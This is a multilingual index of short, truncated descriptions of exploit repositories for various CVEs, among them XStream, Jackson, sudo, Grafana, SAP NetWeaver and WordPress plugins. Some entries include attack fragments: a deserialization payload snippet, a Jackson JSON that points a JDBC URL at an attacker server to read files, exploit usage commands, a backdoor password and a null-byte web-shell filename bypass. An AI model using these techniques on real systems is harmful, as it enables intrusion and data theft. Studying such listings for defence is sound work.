CVE-2020-26259

설명 XStream은 실행 중인 프로세스가 충분한 권한을 가지고 있을 때 역직렬화 과정에서 로컬 호스트의 임의 파일 삭제 취약점에 영향을 받습니다. 영향 Xstream \n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " text/plain\n" + " \n" + " C:\Al1ex.txt\n" + " \n" + " \n" + " \n" + " \n" + " 0\n" + " \n" + " /jdk.n...

CVE-2024-41628

CVE-2024-41628 Redshift Cyber Security によって開発された、ClusterControl の LFI 脆弱性 CVE-2024-41628 を悪用するためのシンプルなエクスプロイトスクリプトです。 この脆弱性は CMON API、特にデフォルトでそれぞれポート 9500 と 9501 で動作する RPC および RPC-TLS ユーザーインターフェースに影響します。 ClusterControl は通常 root として実行されるため、任意のシステムファイルを取得できます。 取得可能なファイルの例: /etc/shadow /etc/passwd...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324 を悪用するために開発された概念実証（PoC）です。 使用方法 usage: python CVE-2025-31324.py --help SAP NetWeaver Visual Composer Metadata Uploader = 7.50 CVE-2025-31324 PoC positional arguments: FILE local file to upload optional arguments: -h, --help show this help message and exit --https use...

CVE-2019-12086

문서 설명 CVE-2019-12086 jackson 역직렬화 취약점 이용 1. 악성 MySQL 서버 시작: python roguemysqlserver.py 2. 동일한 디렉토리에서 mysql.log 확인: tail -f mysql.log 3. 취약점이 있는 애플리케이션에 다음 json 전송: "com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attackerserver:port/foo" Jackson이 악성 json 문자열을 역직렬화하면 악성 MySQL 서버에 연결되고, 읽힌 파일 내용이 ...

CVE-2025-1094-Exploit

CVE-2025-1094: WebSocket経由のSQLインジェクションからRCEへ 🚀 このリポジトリには、CVE-2025-1094 （PostgreSQLの脆弱性）の概念実証（PoC）エクスプロイトが含まれています。この脆弱性により、WebSocketハイジャッキングを通じてSQLインジェクション（SQLi）攻撃をリモートコード実行（RCE）にエスカレーションできます。 概要...

CVE-2021-38819

CVE-2021-38819...

CVE-2024-52380-Exploit

CVE-2024-52380-Exploit WordPress用Picsmizeプラグインは、任意のファイルアップロードに対して脆弱です。 説明 このスクリプトは、WordPress用のPicsmizeプラグイン における脆弱性（CVE-2024-52380）を悪用し、認証されていない攻撃者が任意のファイルをアップロードできるようにします。この脆弱性は、Picsmizeの1.0.0 までの全バージョンに存在します。この脆弱性を悪用すると、ターゲットサーバー上でリモートコード実行が発生する可能性があります。 🌟 特徴 プラグインのバージョン確認 :...

Golang-CVE-2021-44077-POC

Golang-CVE-2021-44077-POC このエクスプロイトは、Zoho ManageEngine ServiceDesk Plus msiexec.exe 次に、エクスプロイトを実行します。 go run CVE-2021-44077.go -u "http://192.168.1.3:8080/" -f "/msiexec.exe" -u は脆弱な URL です -f は悪意のあるファイルです...

CVE-2021-3156

exploit.py フォーク元: @worawit、短縮・最適化。sudo=1.8.23 on Centos7 でのみ動作 ウェブサーバーとLinuxマシンの両方で動作 backdoor.php weevelyで生成されたPHPバックドア、パスワード: "H@rmWsH4rE!"。サーバーにアップロード成功時にApacheとしてSSHセッションへのアクセスを提供 shell.php%00.jpg NullバイトによるPHPファイルサニタイゼーションのバイパス...

live-server-evil-crawler

Live Server Evil Crawler Live Server VSCode 拡張機能の脆弱性 CVE-2025-65717 を実証するための GitHub Pages サイトです。 概要 このツールは、Live Server が任意のオリジンからのリクエストを許可し、悪意のある Web ページが localhost で実行中の Live Server にアクセスしてファイルシステムの内容を読み取ることができる脆弱性を実証します。 機能 ポートスキャナー : 実行中の Live Server インスタンスを検出するためにポート範囲をスキャンします クローラー :...

shirocrack

shirocrack Golang으로 작성된 Apache Shiro 해시용 간단한 해시 크래커입니다. CVE-2024-4956 악용에 유용합니다. 간단히 정리하자면 CVE-2024-4956은 Sonatype Nexus Repository의 경로 탐색 취약점으로, 인증되지 않은 공격자가 서버에 네트워크 접근 권한만 있으면 경로를 알 경우 시스템에서 임의의 파일을 읽을 수 있습니다. 제가 본 모든 익스플로잇 데모는 /etc/passwd를 가져와서 끝내더군요. 좋긴 하지만, 이 취약점이 받은 심각한 CVSS 점수를 실제로 설명하지는...

CVE-2023-51409

CVE-2023-51409 AI Engine: ChatGPT Chatbot = 1.9.98 - restupload を介した未認証の任意ファイルアップロード 説明: WordPress 用プラグイン「AI Engine: Chatbots, Generators, Assistants, GPT 4 and more!」は、バージョン 1.9.98 以前のすべてのバージョンにおいて、'restupload'...

AFR-in-OMSA

OMSA 中的任意文件读取 验证 Dell OpenManage Server Administrator OMSA 中的任意文件读取漏洞 - CVE-2016-4004、CVE-2021-21514 和 CVE-2020-5377。...

CVE-2021-42669

CVE-2021-42669 CVE-2021-42669 - Engineers 온라인 포털 시스템의 무제한 파일 업로드 취약점을 통한 원격 코드 실행 기술 설명: Engineers Online Portal 시스템에 무제한 파일 업로드 취약점이 존재합니다. 공격자는 이 취약점을 악용하여 영향을 받는 웹 서버에서 원격 코드 실행을 얻을 수 있습니다. 아바타가 업로드되면 /admin/uploads/ 디렉토리에 업로드되며 모든 사용자가 접근할 수 있습니다. 간단한 PHP 웹쉘을 업로드함으로써 공격자는 웹 서버에서 원격 코드 실행을 얻을 ...

CVE-2024-36991

CVE-2024-36991 Windows 환경의 Splunk Enterprise 9.2.2, 9.1.5, 9.0.10 미만 버전에서 민감한 파일을 읽을 수 있는 경로 탐색 취약점...

CVE-2022-22029-NFS-Server-

Windows Network File Systemのリモートコード実行の脆弱性 CVE-2022-22039 この脆弱性を悪用するには、攻撃者が競合状態 race condition で成功する必要があります。ネットワーク ファイル システム NFS サービスに対して認証されていない、慎重に構築された呼び出しを行うことで、ネットワーク経由でリモートからこの脆弱性を悪用できる可能性があります。 緩和策とは、既定の状態で存在する設定、一般的な構成、または一般的なベスト プラクティスであり、脆弱性の悪用の深刻度を軽減できるものを指します。次の緩和要因は、お客様の状況で役立つ可能性があります...

CVE-2024-53677

CVE-2024-53677: Apache Struts のパストラバーサルから RCE に至る脆弱性 Apache Struts で、CVE-2024-53677 として識別される重大なセキュリティ脆弱性が発見されました。この脆弱性により、攻撃者はファイルアップロードパラメータを操作でき、不正なパストラバーサルやリモートコード実行 RCE につながる可能性があります。 使用方法 PIP パッケージをインストールします: python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt...

CVE-2021-43798

CVE-2021-43798 Grafana 8.x 임의 파일 읽기 http://ryze-t.com/posts/2021/12/15/CVE-2021-43798-Grafana%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html 사용법 exp http://example.com /etc/passwd 효과...

Exploit for Unrestricted Upload of File with Dangerous Type in Rconfig

CVE-2022-44384 Authenticated arbitrary file upload leading to...

CVE-2023-26255-6

JiraプラグインSTAGIL NavigationのFileNameパラメータの任意ファイル読み取り脆弱性POCスクリプト 使用方法は以下の通り: 単一URLの検出 1、コマンドラインインターフェースから単一のURLアドレスを検出するには、-Uパラメータを使用してURLパラメータを渡します 2、返された結果を観察します。is vulnerable!と表示された場合、このURLに脆弱性が存在することを意味し、そうでなければ脆弱性は存在しません バッチURLの検出 1、FOFAで検索したアセット、またはテストしたいURLを任意のTXTファイルに保存できます...